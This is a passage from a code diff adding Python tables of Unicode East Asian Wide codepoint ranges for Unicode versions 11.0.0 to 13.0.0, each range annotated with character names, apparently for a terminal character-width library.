Cjk Unified Ideo..Squared Cjk Unified Ideo + (0x1f240, 0x1f248,), # Tortoise Shell Bracketed..Tortoise Shell Bracketed + (0x1f250, 0x1f251,), # Circled Ideograph Advant..Circled Ideograph Accept + (0x1f260, 0x1f265,), # Rounded Symbol For Fu ..Rounded Symbol For Cai + (0x1f300, 0x1f320,), # Cyclone ..Shooting Star + (0x1f32d, 0x1f335,), # Hot Dog ..Cactus + (0x1f337, 0x1f37c,), # Tulip ..Baby Bottle + (0x1f37e, 0x1f393,), # Bottle With Popping Cork..Graduation Cap + (0x1f3a0, 0x1f3ca,), # Carousel Horse ..Swimmer + (0x1f3cf, 0x1f3d3,), # Cricket Bat And Ball ..Table Tennis Paddle And + (0x1f3e0, 0x1f3f0,), # House Building ..European Castle + (0x1f3f4, 0x1f3f4,), # Waving Black Flag ..Waving Black Flag + (0x1f3f8, 0x1f43e,), # Badminton Racquet And Sh..Paw Prints + (0x1f440, 0x1f440,), # Eyes ..Eyes + (0x1f442, 0x1f4fc,), # Ear ..Videocassette + (0x1f4ff, 0x1f53d,), # Prayer Beads ..Down-pointing Small Red + (0x1f54b, 0x1f54e,), # Kaaba ..Menorah With Nine Branch + (0x1f550, 0x1f567,), # Clock Face One Oclock ..Clock Face Twelve-thirty + (0x1f57a, 0x1f57a,), # Man Dancing ..Man Dancing + (0x1f595, 0x1f596,), # Reversed Hand With Middl..Raised Hand With Part Be + (0x1f5a4, 0x1f5a4,), # Black Heart ..Black Heart + (0x1f5fb, 0x1f64f,), # Mount Fuji ..Person With Folded Hands + (0x1f680, 0x1f6c5,), # Rocket ..Left Luggage + (0x1f6cc, 0x1f6cc,), # Sleeping Accommodation ..Sleeping Accommodation + (0x1f6d0, 0x1f6d2,), # Place Of Worship ..Shopping Trolley + (0x1f6eb, 0x1f6ec,), # Airplane Departure ..Airplane Arriving + (0x1f6f4, 0x1f6f8,), # Scooter ..Flying Saucer + (0x1f910, 0x1f93e,), # Zipper-mouth Face ..Handball + (0x1f940, 0x1f94c,), # Wilted Flower ..Curling Stone + (0x1f950, 0x1f96b,), # Croissant ..Canned Food + (0x1f980, 0x1f997,), # Crab ..Cricket + (0x1f9c0, 0x1f9c0,), # Cheese Wedge ..Cheese Wedge + (0x1f9d0, 0x1f9e6,), # Face With Monocle ..Socks + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '11.0.0': ( + # Source: EastAsianWidth-11.0.0.txt + # Date: 2018-05-14, 09:41:59 GMT [KW, LI] + # + (0x01100, 0x0115f,), # Hangul Choseong Kiyeok ..Hangul Choseong Filler + (0x0231a, 0x0231b,), # Watch ..Hourglass + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x023e9, 0x023ec,), # Black Right-pointing Dou..Black Down-pointing Doub + (0x023f0, 0x023f0,), # Alarm Clock ..Alarm Clock + (0x023f3, 0x023f3,), # Hourglass With Flowing S..Hourglass With Flowing S + (0x025fd, 0x025fe,), # White Medium Small Squar..Black Medium Small Squar + (0x02614, 0x02615,), # Umbrella With Rain Drops..Hot Beverage + (0x02648, 0x02653,), # Aries ..Pisces + (0x0267f, 0x0267f,), # Wheelchair Symbol ..Wheelchair Symbol + (0x02693, 0x02693,), # Anchor ..Anchor + (0x026a1, 0x026a1,), # High Voltage Sign ..High Voltage Sign + (0x026aa, 0x026ab,), # Medium White Circle ..Medium Black Circle + (0x026bd, 0x026be,), # Soccer Ball ..Baseball + (0x026c4, 0x026c5,), # Snowman Without Snow ..Sun Behind Cloud + (0x026ce, 0x026ce,), # Ophiuchus ..Ophiuchus + (0x026d4, 0x026d4,), # No Entry ..No Entry + (0x026ea, 0x026ea,), # Church ..Church + (0x026f2, 0x026f3,), # Fountain ..Flag In Hole + (0x026f5, 0x026f5,), # Sailboat ..Sailboat + (0x026fa, 0x026fa,), # Tent ..Tent + (0x026fd, 0x026fd,), # Fuel Pump ..Fuel Pump + (0x02705, 0x02705,), # White Heavy Check Mark ..White Heavy Check Mark + (0x0270a, 0x0270b,), # Raised Fist ..Raised Hand + (0x02728, 0x02728,), # Sparkles ..Sparkles + (0x0274c, 0x0274c,), # Cross Mark ..Cross Mark + (0x0274e, 0x0274e,), # Negative Squared Cross M..Negative Squared Cross M + (0x02753, 0x02755,), # Black Question Mark Orna..White Exclamation Mark O + (0x02757, 0x02757,), # Heavy Exclamation Mark S..Heavy Exclamation Mark S + (0x02795, 0x02797,), # Heavy Plus Sign ..Heavy Division Sign + (0x027b0, 0x027b0,), # Curly Loop ..Curly Loop + (0x027bf, 0x027bf,), # Double Curly Loop ..Double Curly Loop + (0x02b1b, 0x02b1c,), # Black Large Square ..White Large Square + (0x02b50, 0x02b50,), # White Medium Star ..White Medium Star + (0x02b55, 0x02b55,), # Heavy Large Circle ..Heavy Large Circle + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312f,), # Bopomofo Letter B ..Bopomofo Letter Nn + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031ba,), # Ideographic Annotation L..Bopomofo Letter Zy + (0x031c0, 0x031e3,), # Cjk Stroke T ..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03247,), # Parenthesized Ideograph ..Circled Ideograph Koto + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04dbf,), # Square Apaato ..(nil) + (0x04e00, 0x0a48c,), # Cjk Unified Ideograph-4e..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0a960, 0x0a97c,), # Hangul Choseong Tikeut-m..Hangul Choseong Ssangyeo + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0f900, 0x0faff,), # Cjk Compatibility Ideogr..(nil) + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x16fe0, 0x16fe1,), # Tangut Iteration Mark ..Nushu Iteration Mark + (0x17000, 0x187f1,), # (nil) ..(nil) + (0x18800, 0x18af2,), # Tangut Component-001 ..Tangut Component-755 + (0x1b000, 0x1b11e,), # Katakana Letter Archaic ..Hentaigana Letter N-mu-m + (0x1b170, 0x1b2fb,), # Nushu Character-1b170 ..Nushu Character-1b2fb + (0x1f004, 0x1f004,), # Mahjong Tile Red Dragon ..Mahjong Tile Red Dragon + (0x1f0cf, 0x1f0cf,), # Playing Card Black Joker..Playing Card Black Joker + (0x1f18e, 0x1f18e,), # Negative Squared Ab ..Negative Squared Ab + (0x1f191, 0x1f19a,), # Squared Cl ..Squared Vs + (0x1f200, 0x1f202,), # Square Hiragana Hoka ..Squared Katakana Sa + (0x1f210, 0x1f23b,), # Squared Cjk Unified Ideo..Squared Cjk Unified Ideo + (0x1f240, 0x1f248,), # Tortoise Shell Bracketed..Tortoise Shell Bracketed + (0x1f250, 0x1f251,), # Circled Ideograph Advant..Circled Ideograph Accept + (0x1f260, 0x1f265,), # Rounded Symbol For Fu ..Rounded Symbol For Cai + (0x1f300, 0x1f320,), # Cyclone ..Shooting Star + (0x1f32d, 0x1f335,), # Hot Dog ..Cactus + (0x1f337, 0x1f37c,), # Tulip ..Baby Bottle + (0x1f37e, 0x1f393,), # Bottle With Popping Cork..Graduation Cap + (0x1f3a0, 0x1f3ca,), # Carousel Horse ..Swimmer + (0x1f3cf, 0x1f3d3,), # Cricket Bat And Ball ..Table Tennis Paddle And + (0x1f3e0, 0x1f3f0,), # House Building ..European Castle + (0x1f3f4, 0x1f3f4,), # Waving Black Flag ..Waving Black Flag + (0x1f3f8, 0x1f43e,), # Badminton Racquet And Sh..Paw Prints + (0x1f440, 0x1f440,), # Eyes ..Eyes + (0x1f442, 0x1f4fc,), # Ear ..Videocassette + (0x1f4ff, 0x1f53d,), # Prayer Beads ..Down-pointing Small Red + (0x1f54b, 0x1f54e,), # Kaaba ..Menorah With Nine Branch + (0x1f550, 0x1f567,), # Clock Face One Oclock ..Clock Face Twelve-thirty + (0x1f57a, 0x1f57a,), # Man Dancing ..Man Dancing + (0x1f595, 0x1f596,), # Reversed Hand With Middl..Raised Hand With Part Be + (0x1f5a4, 0x1f5a4,), # Black Heart ..Black Heart + (0x1f5fb, 0x1f64f,), # Mount Fuji ..Person With Folded Hands + (0x1f680, 0x1f6c5,), # Rocket ..Left Luggage + (0x1f6cc, 0x1f6cc,), # Sleeping Accommodation ..Sleeping Accommodation + (0x1f6d0, 0x1f6d2,), # Place Of Worship ..Shopping Trolley + (0x1f6eb, 0x1f6ec,), # Airplane Departure ..Airplane Arriving + (0x1f6f4, 0x1f6f9,), # Scooter ..Skateboard + (0x1f910, 0x1f93e,), # Zipper-mouth Face ..Handball + (0x1f940, 0x1f970,), # Wilted Flower ..Smiling Face With Smilin + (0x1f973, 0x1f976,), # Face With Party Horn And..Freezing Face + (0x1f97a, 0x1f97a,), # Face With Pleading Eyes ..Face With Pleading Eyes + (0x1f97c, 0x1f9a2,), # Lab Coat ..Swan + (0x1f9b0, 0x1f9b9,), # Emoji Component Red Hair..Supervillain + (0x1f9c0, 0x1f9c2,), # Cheese Wedge ..Salt Shaker + (0x1f9d0, 0x1f9ff,), # Face With Monocle ..Nazar Amulet + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '12.0.0': ( + # Source: EastAsianWidth-12.0.0.txt + # Date: 2019-01-21, 14:12:58 GMT [KW, LI] + # + (0x01100, 0x0115f,), # Hangul Choseong Kiyeok ..Hangul Choseong Filler + (0x0231a, 0x0231b,), # Watch ..Hourglass + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x023e9, 0x023ec,), # Black Right-pointing Dou..Black Down-pointing Doub + (0x023f0, 0x023f0,), # Alarm Clock ..Alarm Clock + (0x023f3, 0x023f3,), # Hourglass With Flowing S..Hourglass With Flowing S + (0x025fd, 0x025fe,), # White Medium Small Squar..Black Medium Small Squar + (0x02614, 0x02615,), # Umbrella With Rain Drops..Hot Beverage + (0x02648, 0x02653,), # Aries ..Pisces + (0x0267f, 0x0267f,), # Wheelchair Symbol ..Wheelchair Symbol + (0x02693, 0x02693,), # Anchor ..Anchor + (0x026a1, 0x026a1,), # High Voltage Sign ..High Voltage Sign + (0x026aa, 0x026ab,), # Medium White Circle ..Medium Black Circle + (0x026bd, 0x026be,), # Soccer Ball ..Baseball + (0x026c4, 0x026c5,), # Snowman Without Snow ..Sun Behind Cloud + (0x026ce, 0x026ce,), # Ophiuchus ..Ophiuchus + (0x026d4, 0x026d4,), # No Entry ..No Entry + (0x026ea, 0x026ea,), # Church ..Church + (0x026f2, 0x026f3,), # Fountain ..Flag In Hole + (0x026f5, 0x026f5,), # Sailboat ..Sailboat + (0x026fa, 0x026fa,), # Tent ..Tent + (0x026fd, 0x026fd,), # Fuel Pump ..Fuel Pump + (0x02705, 0x02705,), # White Heavy Check Mark ..White Heavy Check Mark + (0x0270a, 0x0270b,), # Raised Fist ..Raised Hand + (0x02728, 0x02728,), # Sparkles ..Sparkles + (0x0274c, 0x0274c,), # Cross Mark ..Cross Mark + (0x0274e, 0x0274e,), # Negative Squared Cross M..Negative Squared Cross M + (0x02753, 0x02755,), # Black Question Mark Orna..White Exclamation Mark O + (0x02757, 0x02757,), # Heavy Exclamation Mark S..Heavy Exclamation Mark S + (0x02795, 0x02797,), # Heavy Plus Sign ..Heavy Division Sign + (0x027b0, 0x027b0,), # Curly Loop ..Curly Loop + (0x027bf, 0x027bf,), # Double Curly Loop ..Double Curly Loop + (0x02b1b, 0x02b1c,), # Black Large Square ..White Large Square + (0x02b50, 0x02b50,), # White Medium Star ..White Medium Star + (0x02b55, 0x02b55,), # Heavy Large Circle ..Heavy Large Circle + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312f,), # Bopomofo Letter B ..Bopomofo Letter Nn + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031ba,), # Ideographic Annotation L..Bopomofo Letter Zy + (0x031c0, 0x031e3,), # Cjk Stroke T ..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03247,), # Parenthesized Ideograph ..Circled Ideograph Koto + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04dbf,), # Square Apaato ..(nil) + (0x04e00, 0x0a48c,), # Cjk Unified Ideograph-4e..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0a960, 0x0a97c,), # Hangul Choseong Tikeut-m..Hangul Choseong Ssangyeo + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0f900, 0x0faff,), # Cjk Compatibility Ideogr..(nil) + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x16fe0, 0x16fe3,), # Tangut Iteration Mark ..Old Chinese Iteration Ma + (0x17000, 0x187f7,), # (nil) ..(nil) + (0x18800, 0x18af2,), # Tangut Component-001 ..Tangut Component-755 + (0x1b000, 0x1b11e,), # Katakana Letter Archaic ..Hentaigana Letter N-mu-m + (0x1b150, 0x1b152,), # Hiragana Letter Small Wi..Hiragana Letter Small Wo + (0x1b164, 0x1b167,), # Katakana Letter Small Wi..Katakana Letter Small N + (0x1b170, 0x1b2fb,), # Nushu Character-1b170 ..Nushu Character-1b2fb + (0x1f004, 0x1f004,), # Mahjong Tile Red Dragon ..Mahjong Tile Red Dragon + (0x1f0cf, 0x1f0cf,), # Playing Card Black Joker..Playing Card Black Joker + (0x1f18e, 0x1f18e,), # Negative Squared Ab ..Negative Squared Ab + (0x1f191, 0x1f19a,), # Squared Cl ..Squared Vs + (0x1f200, 0x1f202,), # Square Hiragana Hoka ..Squared Katakana Sa + (0x1f210, 0x1f23b,), # Squared Cjk Unified Ideo..Squared Cjk Unified Ideo + (0x1f240, 0x1f248,), # Tortoise Shell Bracketed..Tortoise Shell Bracketed + (0x1f250, 0x1f251,), # Circled Ideograph Advant..Circled Ideograph Accept + (0x1f260, 0x1f265,), # Rounded Symbol For Fu ..Rounded Symbol For Cai + (0x1f300, 0x1f320,), # Cyclone ..Shooting Star + (0x1f32d, 0x1f335,), # Hot Dog ..Cactus + (0x1f337, 0x1f37c,), # Tulip ..Baby Bottle + (0x1f37e, 0x1f393,), # Bottle With Popping Cork..Graduation Cap + (0x1f3a0, 0x1f3ca,), # Carousel Horse ..Swimmer + (0x1f3cf, 0x1f3d3,), # Cricket Bat And Ball ..Table Tennis Paddle And + (0x1f3e0, 0x1f3f0,), # House Building ..European Castle + (0x1f3f4, 0x1f3f4,), # Waving Black Flag ..Waving Black Flag + (0x1f3f8, 0x1f43e,), # Badminton Racquet And Sh..Paw Prints + (0x1f440, 0x1f440,), # Eyes ..Eyes + (0x1f442, 0x1f4fc,), # Ear ..Videocassette + (0x1f4ff, 0x1f53d,), # Prayer Beads ..Down-pointing Small Red + (0x1f54b, 0x1f54e,), # Kaaba ..Menorah With Nine Branch + (0x1f550, 0x1f567,), # Clock Face One Oclock ..Clock Face Twelve-thirty + (0x1f57a, 0x1f57a,), # Man Dancing ..Man Dancing + (0x1f595, 0x1f596,), # Reversed Hand With Middl..Raised Hand With Part Be + (0x1f5a4, 0x1f5a4,), # Black Heart ..Black Heart + (0x1f5fb, 0x1f64f,), # Mount Fuji ..Person With Folded Hands + (0x1f680, 0x1f6c5,), # Rocket ..Left Luggage + (0x1f6cc, 0x1f6cc,), # Sleeping Accommodation ..Sleeping Accommodation + (0x1f6d0, 0x1f6d2,), # Place Of Worship ..Shopping Trolley + (0x1f6d5, 0x1f6d5,), # Hindu Temple ..Hindu Temple + (0x1f6eb, 0x1f6ec,), # Airplane Departure ..Airplane Arriving + (0x1f6f4, 0x1f6fa,), # Scooter ..Auto Rickshaw + (0x1f7e0, 0x1f7eb,), # Large Orange Circle ..Large Brown Square + (0x1f90d, 0x1f971,), # White Heart ..Yawning Face + (0x1f973, 0x1f976,), # Face With Party Horn And..Freezing Face + (0x1f97a, 0x1f9a2,), # Face With Pleading Eyes ..Swan + (0x1f9a5, 0x1f9aa,), # Sloth ..Oyster + (0x1f9ae, 0x1f9ca,), # Guide Dog ..Ice Cube + (0x1f9cd, 0x1f9ff,), # Standing Person ..Nazar Amulet + (0x1fa70, 0x1fa73,), # Ballet Shoes ..Shorts + (0x1fa78, 0x1fa7a,), # Drop Of Blood ..Stethoscope + (0x1fa80, 0x1fa82,), # Yo-yo ..Parachute + (0x1fa90, 0x1fa95,), # Ringed Planet ..Banjo + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '12.1.0': ( + # Source: EastAsianWidth-12.1.0.txt + # Date: 2019-03-31, 22:01:58 GMT [KW, LI] + # + (0x01100, 0x0115f,), # Hangul Choseong Kiyeok ..Hangul Choseong Filler + (0x0231a, 0x0231b,), # Watch ..Hourglass + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x023e9, 0x023ec,), # Black Right-pointing Dou..Black Down-pointing Doub + (0x023f0, 0x023f0,), # Alarm Clock ..Alarm Clock + (0x023f3, 0x023f3,), # Hourglass With Flowing S..Hourglass With Flowing S + (0x025fd, 0x025fe,), # White Medium Small Squar..Black Medium Small Squar + (0x02614, 0x02615,), # Umbrella With Rain Drops..Hot Beverage + (0x02648, 0x02653,), # Aries ..Pisces + (0x0267f, 0x0267f,), # Wheelchair Symbol ..Wheelchair Symbol + (0x02693, 0x02693,), # Anchor ..Anchor + (0x026a1, 0x026a1,), # High Voltage Sign ..High Voltage Sign + (0x026aa, 0x026ab,), # Medium White Circle ..Medium Black Circle + (0x026bd, 0x026be,), # Soccer Ball ..Baseball + (0x026c4, 0x026c5,), # Snowman Without Snow ..Sun Behind Cloud + (0x026ce, 0x026ce,), # Ophiuchus ..Ophiuchus + (0x026d4, 0x026d4,), # No Entry ..No Entry + (0x026ea, 0x026ea,), # Church ..Church + (0x026f2, 0x026f3,), # Fountain ..Flag In Hole + (0x026f5, 0x026f5,), # Sailboat ..Sailboat + (0x026fa, 0x026fa,), # Tent ..Tent + (0x026fd, 0x026fd,), # Fuel Pump ..Fuel Pump + (0x02705, 0x02705,), # White Heavy Check Mark ..White Heavy Check Mark + (0x0270a, 0x0270b,), # Raised Fist ..Raised Hand + (0x02728, 0x02728,), # Sparkles ..Sparkles + (0x0274c, 0x0274c,), # Cross Mark ..Cross Mark + (0x0274e, 0x0274e,), # Negative Squared Cross M..Negative Squared Cross M + (0x02753, 0x02755,), # Black Question Mark Orna..White Exclamation Mark O + (0x02757, 0x02757,), # Heavy Exclamation Mark S..Heavy Exclamation Mark S + (0x02795, 0x02797,), # Heavy Plus Sign ..Heavy Division Sign + (0x027b0, 0x027b0,), # Curly Loop ..Curly Loop + (0x027bf, 0x027bf,), # Double Curly Loop ..Double Curly Loop + (0x02b1b, 0x02b1c,), # Black Large Square ..White Large Square + (0x02b50, 0x02b50,), # White Medium Star ..White Medium Star + (0x02b55, 0x02b55,), # Heavy Large Circle ..Heavy Large Circle + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312f,), # Bopomofo Letter B ..Bopomofo Letter Nn + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031ba,), # Ideographic Annotation L..Bopomofo Letter Zy + (0x031c0, 0x031e3,), # Cjk Stroke T ..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03247,), # Parenthesized Ideograph ..Circled Ideograph Koto + (0x03250, 0x04dbf,), # Partnership Sign ..(nil) + (0x04e00, 0x0a48c,), # Cjk Unified Ideograph-4e..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0a960, 0x0a97c,), # Hangul Choseong Tikeut-m..Hangul Choseong Ssangyeo + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0f900, 0x0faff,), # Cjk Compatibility Ideogr..(nil) + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x16fe0, 0x16fe3,), # Tangut Iteration Mark ..Old Chinese Iteration Ma + (0x17000, 0x187f7,), # (nil) ..(nil) + (0x18800, 0x18af2,), # Tangut Component-001 ..Tangut Component-755 + (0x1b000, 0x1b11e,), # Katakana Letter Archaic ..Hentaigana Letter N-mu-m + (0x1b150, 0x1b152,), # Hiragana Letter Small Wi..Hiragana Letter Small Wo + (0x1b164, 0x1b167,), # Katakana Letter Small Wi..Katakana Letter Small N + (0x1b170, 0x1b2fb,), # Nushu Character-1b170 ..Nushu Character-1b2fb + (0x1f004, 0x1f004,), # Mahjong Tile Red Dragon ..Mahjong Tile Red Dragon + (0x1f0cf, 0x1f0cf,), # Playing Card Black Joker..Playing Card Black Joker + (0x1f18e, 0x1f18e,), # Negative Squared Ab ..Negative Squared Ab + (0x1f191, 0x1f19a,), # Squared Cl ..Squared Vs + (0x1f200, 0x1f202,), # Square Hiragana Hoka ..Squared Katakana Sa + (0x1f210, 0x1f23b,), # Squared Cjk Unified Ideo..Squared Cjk Unified Ideo + (0x1f240, 0x1f248,), # Tortoise Shell Bracketed..Tortoise Shell Bracketed + (0x1f250, 0x1f251,), # Circled Ideograph Advant..Circled Ideograph Accept + (0x1f260, 0x1f265,), # Rounded Symbol For Fu ..Rounded Symbol For Cai + (0x1f300, 0x1f320,), # Cyclone ..Shooting Star + (0x1f32d, 0x1f335,), # Hot Dog ..Cactus + (0x1f337, 0x1f37c,), # Tulip ..Baby Bottle + (0x1f37e, 0x1f393,), # Bottle With Popping Cork..Graduation Cap + (0x1f3a0, 0x1f3ca,), # Carousel Horse ..Swimmer + (0x1f3cf, 0x1f3d3,), # Cricket Bat And Ball ..Table Tennis Paddle And + (0x1f3e0, 0x1f3f0,), # House Building ..European Castle + (0x1f3f4, 0x1f3f4,), # Waving Black Flag ..Waving Black Flag + (0x1f3f8, 0x1f43e,), # Badminton Racquet And Sh..Paw Prints + (0x1f440, 0x1f440,), # Eyes ..Eyes + (0x1f442, 0x1f4fc,), # Ear ..Videocassette + (0x1f4ff, 0x1f53d,), # Prayer Beads ..Down-pointing Small Red + (0x1f54b, 0x1f54e,), # Kaaba ..Menorah With Nine Branch + (0x1f550, 0x1f567,), # Clock Face One Oclock ..Clock Face Twelve-thirty + (0x1f57a, 0x1f57a,), # Man Dancing ..Man Dancing + (0x1f595, 0x1f596,), # Reversed Hand With Middl..Raised Hand With Part Be + (0x1f5a4, 0x1f5a4,), # Black Heart ..Black Heart + (0x1f5fb, 0x1f64f,), # Mount Fuji ..Person With Folded Hands + (0x1f680, 0x1f6c5,), # Rocket ..Left Luggage + (0x1f6cc, 0x1f6cc,), # Sleeping Accommodation ..Sleeping Accommodation + (0x1f6d0, 0x1f6d2,), # Place Of Worship ..Shopping Trolley + (0x1f6d5, 0x1f6d5,), # Hindu Temple ..Hindu Temple + (0x1f6eb, 0x1f6ec,), # Airplane Departure ..Airplane Arriving + (0x1f6f4, 0x1f6fa,), # Scooter ..Auto Rickshaw + (0x1f7e0, 0x1f7eb,), # Large Orange Circle ..Large Brown Square + (0x1f90d, 0x1f971,), # White Heart ..Yawning Face + (0x1f973, 0x1f976,), # Face With Party Horn And..Freezing Face + (0x1f97a, 0x1f9a2,), # Face With Pleading Eyes ..Swan + (0x1f9a5, 0x1f9aa,), # Sloth ..Oyster + (0x1f9ae, 0x1f9ca,), # Guide Dog ..Ice Cube + (0x1f9cd, 0x1f9ff,), # Standing Person ..Nazar Amulet + (0x1fa70, 0x1fa73,), # Ballet Shoes ..Shorts + (0x1fa78, 0x1fa7a,), # Drop Of Blood ..Stethoscope + (0x1fa80, 0x1fa82,), # Yo-yo ..Parachute + (0x1fa90, 0x1fa95,), # Ringed Planet ..Banjo + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '13.0.0': ( + # Source: EastAsianWidth-13.0.0.txt + # Date: 2029-01-21, 18:14:00 GMT [KW, LI] + # + (0x01100, 0x0115f,), # Hangul Choseong Kiyeok ..Hangul Choseong Filler + (0x0231a, 0x0231b,), # Watch ..Hourglass + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x023e9, 0x023ec,), # Black Right-pointing Dou..Black Down-pointing Doub + (0x023f0, 0x023f0,), # Alarm Clock ..Alarm Clock + (0x023f3, 0x023f3,), # Hourglass With Flowing S..Hourglass With Flowing S + (0x025fd, 0x025fe,), # White Medium Small Squar..Black Medium Small Squar + (0x02614, 0x02615,), # Umbrella With Rain Drops..Hot Beverage + (0x02648, 0x02653,), # Aries ..Pisces + (0x0267f, 0x0267f,), # Wheelchair Symbol ..Wheelchair Symbol + (0x02693, 0x02693,), # Anchor ..Anchor + (0x026a1, 0x026a1,), # High Voltage Sign ..High Voltage Sign + (0x026aa, 0x026ab,), # Medium White Circle ..Medium Black Circle + (0x026bd, 0x026be,), # Soccer Ball ..Baseball + (0x026c4, 0x026c5,), # Snowman Without Snow ..Sun Behind Cloud + (0x026ce, 0x026ce,), # Ophiuchus ..Ophiuchus + (0x026d4, 0x026d4,), # No Entry ..No Entry + (0x026ea, 0x026ea,), # Church ..Church + (0x026f2, 0x026f3,), # Fountain ..Flag In Hole + (0x026f5, 0x026f5,), # Sailboat ..Sailboat + (0x026fa, 0x026fa,), # Tent ..Tent + (0x026fd, 0x026fd,), # Fuel Pump ..Fuel Pump + (0x02705, 0x02705,), # White Heavy Check Mark ..White Heavy Check Mark + (0x0270a, 0x0270b,), # Raised Fist ..Raised Hand + (0x02728, 0x02728,), # Sparkles ..Sparkles + (0x0274c, 0x0274c,), # Cross Mark ..Cross Mark + (0x0274e, 0x0274e,), # Negative Squared Cross M..Negative Squared Cross M + (0x02753, 0x02755,), # Black Question Mark Orna..White Exclamation Mark O + (0x02757, 0x02757,), # Heavy Exclamation Mark S..Heavy Exclamation Mark S + (0x02795, 0x02797,), # Heavy Plus Sign ..Heavy Division Sign + (0x027b0, 0x027b0,), # Curly Loop ..Curly Loop + (0x027bf, 0x027bf,), # Double Curly Loop ..Double Curly Loop + (0x02b1b, 0x02b1c,), # Black Large Square ..White Large Square + (0x02b50, 0x02b50,), # White Medium Star ..White Medium Star + (0x02b55, 0x02b55,), # Heavy Large Circle ..Heavy Large Circle + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description 